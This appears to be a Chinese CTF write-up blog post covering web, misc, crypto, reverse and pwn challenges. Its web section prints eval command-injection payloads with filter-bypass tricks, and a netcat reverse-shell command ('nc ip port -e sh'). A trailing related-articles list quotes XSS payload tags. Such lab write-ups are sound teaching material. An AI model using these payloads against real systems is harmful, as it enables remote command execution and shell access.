寒假2.12

题解

web:XYCTF2024-牢牢记住,逝者为大

打开环境,是源代码

看到了熟悉的preg_match函数

代码解析:

输入的cmd长度不能超过13,可以使用GET[‘cmd’]躲避长度限制

使用正则表达式过滤的一系列关键字

遍历get数组,检查每个参数值是否包含以下参数值

 将 cmd 参数拼接到字符串 #man, 和 ,mamba out 中,然后通过 eval 执行,eval前面和后面都有脏数据,最简单的办法是换行和注释绕过

分别在最前和最后加上%0a、%23

 

法一:

构造payload把flag复制到根目录em里面,复制成功后访问em获取flag

补充:cp 是一个用于复制文件和目录的命令。它可以将源文件或目录复制到目标位置,并保持文件或目录的属性。

cp [选项] 源文件或目录 目标位置

payload:

?cmd=%0d`$_GET[c]`;%23&c=cp /flag em

八进制绕过:

前后用+连接(否则系统读取不到)

?cmd=%0d`$_GET[c]`;%23&c=$'\143\160'+$'\57\146\154\141\147'+$'\145\155'

没有返回错误值

 

访问em,得到flag

法二:

这道题没过滤nc,所以可以连接服务器到kali,再使用命令

~# nc -lvnp port
cat/f**

payload:

?cmd=%0a`$_GET[1]`;%23&1=nc ip port  -e sh

misc:buuctf-小明的保险箱

下载附件,是一张图片

 查看属性,啥也没有

stegsolve查看,有隐藏的rar文件

更改后缀位为.rar并解压

需要密码,想起题目提示是四位纯数字密码,用ARCHPR爆破

得到flag

crypto:[GXYCTF2019]CheckIn

下载附件,是一串base64编码

解密,得到另一串密文

各种解密方法都试了,整不成

看了大佬的wp,此密文的ASCII码值都处于33 ~ 126范围,确定为ROT47加密

解密得到flag

reverse:buuctf-CrackRTF

下载附件,用PE查看,32位无壳

 ida32查看源代码

分析:

输入密码,若长度不等于6则输出提示

等于6的话就看是否大于100000

atol:将字符串转化为整型

将输入的密码与字符串@DBApp拼接

调用sub_40100A对拼接后的函数值进行处理,并将处理结果与预定义的哈希值进行比较,猜测该函数是一个哈希函数

输入第二部分6位数的密码

将第二部分的输入与第一部分的拼接结果再次拼接

后面也同样是处理和比较

查看Sub_40100A函数,标识符0x8003u,是sha1加密

第一阶段破解:

思路:编写脚本暴力破解 6 位数字与@DBApp进行拼接,计算哈希值并比较

脚本:

import hashlib

target_hash = "6E32D0943418C2C33385BC35A1470250DD8923A9"
for x in range(100000, 1000000):
    s = f"{x}@DBApp"
    sha1 = hashlib.sha1(s.encode()).hexdigest().upper()
    if sha1 == target_hash:
        print(f"{x}")
        break

第二阶段:

思路:同样也是遍历所有可能的 6 位字符串,拼接,比较

查看sub_401019函数,标识符0x8003u,md5加密

查看sub_40100F函数

要在AAA文件中查找字符e

用resource hacker打开文件,确实有AAA,但是暂时用不上

跟进sub_401005函数,是一个异或加密的函数

a2是从前面一堆函数返回的指针,应该是指向AAA文件中的位置,文件首指针,然后把它和Str异或,结果输出为一个.rtf文件,我们需要知道Str的前六位

在桌面上创建一个.rtf文件,用resource hacker打开

前六位是'{\rtf1',发现任意rtf文件都是这样的结构,把.rtfAAA文件前六位异或,就可以得到Str的前六位

脚本:

a2=[0x05, 0x7D, 0x41, 0x15, 0x26, 0x01]
rtf='{\\rtf1'
rtf=list(rtf)
for i in range(0,len(rtf)):
    rtf[i]=ord(rtf[i])
v5=6
flag=''
for i in range(0,6):
    flag+=chr(a2[i] ^ rtf[i])
print(flag)

运行程序,输入两次的密码,生成了一个.rtf文件

flag

pwn:buuctf-others_shellcode

pe查看

ida32打开 ,查看主函数

跟进getshell

直接就进sh了

法一:

脚本:

from pwn import*
context.binary = './shell_asm'

io = remote( 'node5.buuoj.cn',26801)

io.sendline( b'cat flag' )
io.interactive()

法二:

一顿操作猛如虎,愣半天看别人wp才知道这就是一道简单的nc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/968849.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何构建有效的人工智能代理

目录 什么是 AI 代理? 何时应使用 AI 代理? 人工智能代理的构建模块 构建 AI 代理的常用方法 1. 提示链接(分步说明) 2.路由(将任务发送到正确的地方) 3.并行处理(同时做多件事) 4. 协调者和工作者 AI(团队合作) 5. 评估器和优化器(修复错误) 如何让人工…

华为云+硅基流动使用Chatbox接入DeepSeek-R1满血版671B

华为云硅基流动使用Chatbox接入DeepSeek-R1满血版671B 硅基流动 1.1 注册登录 1.2 实名认证 1.3 创建API密钥 1.4 客户端工具 OllamaChatboxCherry StudioAnythingLLM 资源包下载: AI聊天本地客户端 接入Chatbox客户端 点击设置 选择SiliconFloW API 粘贴1.3创…

mysql读写分离与proxysql的结合

上一篇文章介绍了mysql如何设置成主从复制模式,而主从复制的目的,是为了读写分离。 读写分离,拿spring boot项目来说,可以有2种方式: 1)设置2个数据源,读和写分开使用 2)使用中间件…

吊舱响应波段详解!

一、响应波段技术 可见光波段:通过高分辨率相机捕捉地面或空中目标的清晰图像,适用于白天或光照条件良好的环境下进行观测。 红外波段:利用红外辐射探测目标的温度分布,实现夜间或恶劣天气条件下的隐蔽目标发现。红外波段通常分…

AI驱动的直播带货电商APP开发:个性化推荐、智能剪辑与互动玩法

时下,个性化推荐、智能剪辑、互动玩法等AI技术的应用,使得直播电商平台能够精准触达用户、提升观看体验、提高转化率。对于希望在直播电商领域占据一席之地的企业来说,开发一款AI驱动的直播带货APP,已经成为提升竞争力的关键。 一…

ComfyUI流程图生图原理详解

一、引言 ComfyUI 是一款功能强大的工具,在图像生成等领域有着广泛应用。本文补充一点ComfyUI 的安装与配置过程遇到的问题,并深入剖析图生图过程及相关参数,帮助读者快速入门并深入理解其原理。 二、ComfyUI 的安装与配置中遇到的问题 &a…

本地部署DeepSeek集成VSCode创建自己的AI助手

文章目录 安装Ollama和CodeGPT安装Ollama安装CodeGPT 下载并配置DeepSeek模型下载聊天模型(deepseek-r1:1.5b)下载自动补全模型(deepseek-coder:1.3b) 使用DeepSeek进行编程辅助配置CodeGPT使用DeepSeek模型开始使用AI助手 ✍️相…

硬件学习笔记--40 电磁兼容试验-4 快速瞬变脉冲群试验介绍

目录 电磁兼容试验-快速瞬变脉冲群试验介绍 1.试验目的 2.试验方法 3.判定依据及意义 电磁兼容试验-快速瞬变脉冲群试验介绍 驻留时间是在规定频率下影响量施加的持续时间。被试设备(EUT)在经受扫频频带的电磁影响量或电磁干扰的情况下,在…

c++ 多线程知识汇总

一、std::thread std::thread 是 C11 引入的标准库中的线程类&#xff0c;用于创建和管理线程 1. 带参数的构造函数 template <class F, class... Args> std::thread::thread(F&& f, Args&&... args);F&& f&#xff1a;线程要执行的函数&…

XSS 常用标签及绕过姿势总结

XSS 常用标签及绕过姿势总结 一、xss 常见标签语句 0x01. 标签 <a href"javascript:alert(1)">test</a> <a href"x" onfocus"alert(xss);" autofocus"">xss</a> <a href"x" onclickeval(&quo…

基于SSM的农产品供销小程序+LW示例参考

1.项目介绍 系统角色&#xff1a;管理员、农户功能模块&#xff1a;用户管理、农户管理、产品分类管理、农产品管理、咨询管理、订单管理、收藏管理、购物车、充值、下单等技术选型&#xff1a;SSM&#xff0c;Vue&#xff08;后端管理web&#xff09;&#xff0c;uniapp等测试…

未授权访问成因与防御

1、未授权访问根因 2、检查步骤 3、修复建议 1、更新组件至安全版本 2、加强访问策略限制&#xff0c;限制用户访问 3、定期进行漏扫和渗透测试发现威胁及时修复 4、漏洞概览 Elasticsearch未授权访问漏洞 Hadoop未授权访问漏洞 Jenkins未授权访问 MongoDB未授权访问 Zoo…

策略模式-小结

总结一下看到的策略模式&#xff1a; A:一个含有一个方法的接口 B:具体的实行方式行为1,2,3&#xff0c;实现上面的接口。 C:一个环境类&#xff08;或者上下文类&#xff09;&#xff0c;形式可以是&#xff1a;工厂模式&#xff0c;构造器注入模式&#xff0c;枚举模式。 …

16.React学习笔记.React更新机制

一. 发生更新的时机以及顺序## image.png props/state改变render函数重新执行产生新的VDOM树新旧DOM树进行diff计算出差异进行更新更新到真实的DOM 二. React更新流程## React将最好的O(n^3)的tree比较算法优化为O(n)。 同层节点之间相互比较&#xff0c;不跨节点。不同类型的节…

SpringBoot通过文件监听实现MQ加密数据异步转发

一、前言 假设在两个局域网中&#xff0c;生产者和消费者进行通信 使用同步方式&#xff0c;mq偶尔会因为网络策略等问题导致消息发送失败&#xff0c;那么这条数据就丢失了 这时可以使用异步方式&#xff0c;将数据在生产端存一份&#xff0c;网通时发&#xff0c;网断时存 …

windows10本地的JMeter+Influxdb+Grafana压测性能测试,【亲测,避坑】

一、环境&#xff0c;以下软件需要解压、安装到电脑上。 windows10 apache-jmeter-5.6.3 jdk-17.0.13 influxdb2-2.7.11 grafana-enterprise-11.5.1二、配置Influxdb&#xff0c;安装完默认连接http://localhost:8086/。打开连接&#xff0c;配置如下。 1、配置bucket&#x…

excel如何拆分为1000行一个的文件

方法一&#xff1a;使用hpctb 打开文件&#xff0c;点“行分表”就行了。如图: 一步完成&#xff0c;不需要安装环境&#xff0c;也不需要专业知识&#xff0c;也不需要“神”一样的ai。 方法二&#xff1a;使用Python 安装库&#xff08;如未安装&#xff09; pip install p…

docker nginx 配置文件详解

在平常的开发工作中&#xff0c;我们经常需要访问静态资源&#xff08;图片、HTML页面等&#xff09;、访问文件目录、部署项目时进行负载均衡等。那么我们就会使用到Nginx&#xff0c;nginx.conf 的配置至关重要。那么今天主要结合访问静态资源、负载均衡等总结下 nginx.conf …

分布式 IO:矿山砂石装备高效控制的新引擎

在砂石与矿山行业这片充满挑战与机遇的领域&#xff0c;装备的高效运行和精准控制一直是企业追求的核心目标。随着科技的飞速发展&#xff0c;明达技术推出的MR30分布式 IO 模块作为一种先进的控制技术&#xff0c;正逐渐崭露头角&#xff0c;为砂石、矿山装备的升级改造带来了…

微信小程序配置3 配置sass

1. 在config。json文件里面的setting配置“sass” 2. 改你需要的页面后缀名为scss。 3.查看页面即可看到样式。